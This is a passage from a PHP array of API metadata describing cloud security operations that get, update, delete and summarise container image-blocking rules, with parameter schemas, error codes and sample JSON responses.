the rule that is used to block at-risk images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The rule ID.'."\n" ."\n" .'> You can call the [ListOpaClusterStrategyNew](~~2623574~~) operation to query the rule ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1349', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'StrategyId' => [ 'description' => 'The rule ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1005', ], 'StrategyTemplateId' => [ 'description' => 'The ID of the rule template.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1204', ], 'ClusterId' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', ], 'StrategyName' => [ 'description' => 'The rule name.'."\n", 'type' => 'string', 'example' => 'test001', ], 'Description' => [ 'description' => 'The description.'."\n", 'type' => 'string', 'example' => 'Custom defense configuration', ], 'ClusterName' => [ 'description' => 'The cluster name.'."\n", 'type' => 'string', 'example' => 'test', ], 'UnScanedImage' => [ 'description' => 'Indicates whether the rule supports unscanned images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'MaliciousImage' => [ 'description' => 'Indicates whether the rule supports malicious Internet images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'ImageName' => [ 'description' => 'The image names.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image name.'."\n", 'type' => 'string', 'example' => 'opa-test', ], ], 'Label' => [ 'description' => 'The image tags.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image tag.'."\n", 'type' => 'string', 'example' => 'app.kubernetes.io/instance:devops', ], ], 'RuleAction' => [ 'description' => 'The action that is performed when the rule is hit. Valid values:'."\n" ."\n" .'* **1**: trigger alerts'."\n" .'* **2**: block'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'WhiteList' => [ 'description' => 'The image tags that are added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image tag that is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'test-tag', ], ], 'AlarmDetail' => [ 'description' => 'The rule configuration.'."\n", 'type' => 'object', 'properties' => [ 'Baseline' => [ 'description' => 'The baseline check configuration.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'low', ], ], 'Item' => [ 'description' => 'The information about the baseline check item.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the baseline check item.'."\n", 'type' => 'string', 'example' => 'ak_leak', ], 'Name' => [ 'description' => 'The name of the baseline check item.'."\n", 'type' => 'string', 'example' => 'Access Key plaintext storage', ], ], ], ], ], ], 'Vul' => [ 'description' => 'The vulnerability configuration.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', ], ], 'Item' => [ 'description' => 'The information about the vulnerability.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the vulnerability.'."\n", 'type' => 'string', 'example' => 'AVD-2023-1680169', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'ezOffice evoInterfaceServlet Info Leak', ], ], ], ], 'RiskClass' => [ 'description' => 'Risk type of vulnerability.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the vulnerability types. Valid values:'."\n" ."\n" .'* **cve**: system vulnerability'."\n" .'* **app**: application vulnerability', 'type' => 'string', 'example' => 'cve', ], 'Name' => [ 'description' => 'The name of the vulnerability. Valid values:'."\n" ."\n" .'* **system vulnerability**'."\n" .'* **application vulnerability**', 'type' => 'string', 'example' => 'system vulnerability', ], ], ], ], ], ], 'MaliciousFile' => [ 'description' => 'The configuration of malicious samples.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], ], 'Item' => [ 'description' => 'The information about the malicious sample.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the malicious sample.'."\n", 'type' => 'string', 'example' => '1811', ], 'Name' => [ 'description' => 'The name of the malicious sample.'."\n", 'type' => 'string', 'example' => 'abnormal binary file'."\n", ], ], ], ], ], ], 'SensitiveFile' => [ 'description' => 'The configuration of sensitive file.', 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.', 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**', 'type' => 'string', 'example' => 'low', ], ], 'Item' => [ 'description' => 'The configuration of sensitive file.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the sensitive files.'."\n" ."\n" .'> You can call the [GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'example' => 'key', ], 'Name' => [ 'description' => 'The name of the sensitive files.'."\n" ."\n" .'> You can call the [GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'example' => 'name', ], ], ], ], ], ], 'BuildRisk' => [ 'description' => 'The configuration of image build risk.', 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.', 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**', 'type' => 'string', 'example' => 'high', ], ], 'Item' => [ 'description' => 'The configuration of image build risk.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the image build risk.'."\n" ."\n" .'> You can call the [ListImageBuildRiskItem](~~ListImageBuildRiskItem~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'example' => 'key', ], 'Name' => [ 'description' => 'The name of the image build risk.'."\n" ."\n" .'> You can call the [ListImageBuildRiskItem](~~ListImageBuildRiskItem~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'example' => 'name', ], ], ], ], ], ], ], ], 'Scopes' => [ 'title' => '作用域', 'description' => 'The application scope.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'example' => 'c1fdb5fd8d**7163', ], 'AllNamespace' => [ 'description' => 'Indicates whether all namespaces are included. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NamespaceList' => [ 'description' => 'The namespaces.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'namespace1', ], ], 'AckPolicyInstanceId' => [ 'description' => 'The rule instance ID of the cluster.'."\n", 'type' => 'string', 'example' => 'ack-0', ], ], ], ], 'Lang' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'example' => 'zh', ], 'CurrentPage' => [ 'description' => 'The page number. Default value: **1**. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'success', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E819FD71-D240-5E54-AA7F-20FED2ECBEB6', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"StrategyId\\": 1005,\\n \\"StrategyTemplateId\\": 1204,\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"StrategyName\\": \\"test001\\",\\n \\"Description\\": \\"Custom defense configuration\\",\\n \\"ClusterName\\": \\"test\\",\\n \\"UnScanedImage\\": true,\\n \\"MaliciousImage\\": true,\\n \\"ImageName\\": [\\n \\"opa-test\\"\\n ],\\n \\"Label\\": [\\n \\"app.kubernetes.io/instance:devops\\"\\n ],\\n \\"RuleAction\\": 1,\\n \\"WhiteList\\": [\\n \\"test-tag\\"\\n ],\\n \\"AlarmDetail\\": {\\n \\"Baseline\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"ak_leak\\",\\n \\"Name\\": \\"Access Key plaintext storage\\"\\n }\\n ]\\n },\\n \\"Vul\\": {\\n \\"RiskLevel\\": [\\n \\"medium\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"AVD-2023-1680169\\",\\n \\"Name\\": \\"ezOffice evoInterfaceServlet Info Leak\\"\\n }\\n ],\\n \\"RiskClass\\": [\\n {\\n \\"Id\\": \\"cve\\",\\n \\"Name\\": \\"系统漏洞\\"\\n }\\n ]\\n },\\n \\"MaliciousFile\\": {\\n \\"RiskLevel\\": [\\n \\"high\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"1811\\",\\n \\"Name\\": \\"abnormal binary file\\\\n\\"\\n }\\n ]\\n },\\n \\"SensitiveFile\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"key\\",\\n \\"Name\\": \\"name\\"\\n }\\n ]\\n },\\n \\"BuildRisk\\": {\\n \\"RiskLevel\\": [\\n \\"high\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"key\\",\\n \\"Name\\": \\"name\\"\\n }\\n ]\\n }\\n },\\n \\"Scopes\\": [\\n {\\n \\"ClusterId\\": \\"c1fdb5fd8d**7163\\",\\n \\"AllNamespace\\": 1,\\n \\"NamespaceList\\": [\\n \\"namespace1\\"\\n ],\\n \\"AckPolicyInstanceId\\": \\"ack-0\\"\\n }\\n ],\\n \\"Lang\\": \\"zh\\",\\n \\"CurrentPage\\": 4,\\n \\"PageSize\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"E819FD71-D240-5E54-AA7F-20FED2ECBEB6\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetOpaStrategyDetailNew', ], 'UpdateOpaStrategyNew' => [ 'summary' => 'Updates the blocking rule for at-risk images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the [ListOpaClusterStrategyNew](~~2623574~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1003', ], ], [ 'name' => 'StrategyTemplateId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule template.'."\n" ."\n" .'> You can call the [GetOpaStrategyTemplateSummary](~~2539952~~) operation to query the ID of the rule template.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '109', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The cluster ID.'."\n" ."\n" .'> This parameter is deprecated. You can use the Scopes parameter to specify a scope in which cluster parameters take effect.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c870ec78ecbcb41d2a35c679823ef****', ], ], [ 'name' => 'StrategyName', 'in' => 'query', 'schema' => [ 'description' => 'The rule name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'Description', 'in' => 'query', 'schema' => [ 'description' => 'The rule description.'."\n", 'type' => 'string', 'required' => false, 'example' => '4566', ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The cluster name.'."\n" ."\n" .'> This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'docker-law', ], ], [ 'name' => 'UnScanedImage', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the rule supports unscanned images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'MaliciousImage', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the rule supports malicious Internet images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'ImageName', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The image names.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image name.'."\n" ."\n" .'> You can call the [GetOpaClusterImageList](~~2539885~~) operation to query the image name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'muximux:latest', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Label', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The image tags.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image tag.'."\n" ."\n" .'> You can call the [GetOpaClusterLabelList](~~2539885~~) operation to query the image tag.'."\n", 'type' => 'string', 'required' => false, 'example' => 'alertmanager:main', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'RuleAction', 'in' => 'query', 'schema' => [ 'description' => 'The action that is performed when the rule is hit. Valid values:'."\n" ."\n" .'* **1**: alert'."\n" .'* **2**: block'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'WhiteList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The whitelists.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the image that is added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'repo-016', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'AlarmDetail', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The risks that you want to detect by using the rule.'."\n", 'type' => 'object', 'properties' => [ 'Baseline' => [ 'description' => 'The baseline risks.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'medium', ], 'required' => false, ], 'Item' => [ 'description' => 'The baseline check items.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the baseline check item.'."\n" ."\n" .'> You can call the [GetOpaClusterBaseLineList](~~2539883~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hc.image.checklist.identify.hc_exploit_couchdb_linux.item'."\n", ], 'Name' => [ 'description' => 'The name of the baseline check item.'."\n" ."\n" .'> You can call the [GetOpaClusterBaseLineList](~~2539883~~) operation to query the name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'passwd', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], 'Vul' => [ 'description' => 'The vulnerability risks.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'high', ], 'required' => false, ], 'Item' => [ 'description' => 'The vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the vulnerability.'."\n" ."\n" .'> You can call the [DescribeVulListPage](~~471928~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CVE-2023-36034'."\n", ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n" ."\n" .'> You can call the [DescribeVulListPage](~~471928~~) operation to query the name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oval:com.redhat.rhsa:def:20227002', ], ], 'required' => false, ], 'required' => false, ], 'RiskClass' => [ 'description' => 'Risk type of vulnerability.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the vulnerability types. Valid values:'."\n" ."\n" .'* **cve**: system vulnerability'."\n" .'* **app**: application vulnerability', 'type' => 'string', 'required' => false, 'example' => 'cve', ], 'Name' => [ 'description' => 'The name of the vulnerability. Valid values:'."\n" ."\n" .'* **system vulnerability**'."\n" .'* **application vulnerability**', 'type' => 'string', 'required' => false, 'example' => 'system vulnerability', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], 'MaliciousFile' => [ 'description' => 'The malicious sample risks.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'medium', ], 'required' => false, ], 'Item' => [ 'description' => 'The malicious samples.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the malicious sample.'."\n" ."\n" .'> You can call the [DescribeMatchedMaliciousNames](~~DescribeMatchedMaliciousNames~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '65201', ], 'Name' => [ 'description' => 'The name of the malicious sample.'."\n" ."\n" .'> You can call the [DescribeMatchedMaliciousNames](~~DescribeMatchedMaliciousNames~~) operation to query the name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'abnormal binary file', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], 'SensitiveFile' => [ 'description' => 'The configuration of sensitive file.', 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.', 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**', 'type' => 'string', 'required' => false, 'example' => 'high', ], 'required' => false, ], 'Item' => [ 'description' => 'The configuration of sensitive file.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the sensitive files.'."\n" ."\n" .'> You can call the [GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'required' => false, 'example' => 'key', ], 'Name' => [ 'description' => 'The name of the sensitive files.'."\n" ."\n" .'> You can call the [GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'required' => false, 'example' => 'name', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], 'BuildRisk' => [ 'description' => 'The configuration of image build risk.', 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.', 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**', 'type' => 'string', 'required' => false, 'example' => 'high', ], 'required' => false, ], 'Item' => [ 'description' => 'The configuration of image build risk.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the image build risk.'."\n" ."\n" .'> You can call the [ListImageBuildRiskItem](~~ListImageBuildRiskItem~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'required' => false, 'example' => 'key', ], 'Name' => [ 'description' => 'The name of the image build risk.'."\n" ."\n" .'> You can call the [ListImageBuildRiskItem](~~ListImageBuildRiskItem~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'required' => false, 'example' => 'name', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], ], 'required' => false, ], ], [ 'name' => 'Scopes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '作用域', 'description' => 'The application scope.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The cluster ID.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the cluster ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cdcb56a931c**', ], 'AllNamespace' => [ 'description' => 'Specifies whether all namespaces are included. Valid values:'."\n" ."\n" .'* **0**: Not all namespaces are included.'."\n" .'* **1**: All namespaces are included.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'NamespaceList' => [ 'description' => 'The namespaces.'."\n" ."\n" .'> This parameter is valid only when the AllNamespace parameter is set to 0.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The namespaces.'."\n", 'type' => 'string', 'required' => false, 'example' => 'm1', ], 'required' => false, 'maxItems' => 100, ], 'AckPolicyInstanceId' => [ 'description' => 'The ID of the cluster node to which the rule is applied.'."\n" ."\n" .'> You can call the [GetOpaStrategyDetailNew](~~GetOpaStrategyDetailNew~~) operation to query the ID of the cluster node to which the rule is applied.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ack-1', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'success', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F75B5FF5-DCB2-59CE-8978-08510707A9E6', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'Data' => [ 'description' => 'The IDs of the clusters that failed to be updated.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the cluster that failed to be updated.'."\n", 'type' => 'string', 'example' => '[\'c8d**7614df1bf\']', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"F75B5FF5-DCB2-59CE-8978-08510707A9E6\\",\\n \\"HttpStatusCode\\": 200,\\n \\"Data\\": [\\n \\"[\'c8d**7614df1bf\']\\"\\n ]\\n}","type":"json"}]', 'title' => 'UpdateOpaStrategyNew', ], 'DeleteOpaStrategyNew' => [ 'summary' => 'Deletes rules of the at-risk image blocking type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'high', 'chargeType' => 'free', 'abilityTreeCode' => '174286', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'StrategyIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the [ListOpaClusterStrategyNew](~~2623574~~) operation to query the ID of a rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '101', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'success', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '8FD58F11-0F4D-5C7F-B9B2-CFD76108F9A4', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"8FD58F11-0F4D-5C7F-B9B2-CFD76108F9A4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DeleteOpaStrategyNew', ], 'GetOpaStrategyTemplateSummary' => [ 'summary' => 'Queries the usage statistics about the templates provided in the feature of proactive defense for containers for rules of the at-risk image blocking type.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The usage statistics about the templates provided for rules of the at-risk image blocking type.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'TemplateId' => [ 'description' => 'The ID of the template.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'TemplateName' => [ 'description' => 'The name of the template.'."\n", 'type' => 'string', 'example' => 'Blank template', ], 'Count' => [ 'description' => 'The number of times that the template is used.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Description' => [ 'title' => '描述', 'description' => 'The description of the template.'."\n", 'type' => 'string', 'example' => 'Custom defense configuration', ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '54572138-3390-5774-B71D-799DC8C2161B', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"TemplateId\\": 1,\\n \\"TemplateName\\": \\"Blank template\\",\\n \\"Count\\": 2,\\n \\"Description\\": \\"Custom defense configuration\\"\\n }\\n ],\\n \\"Success\\": true,\\n 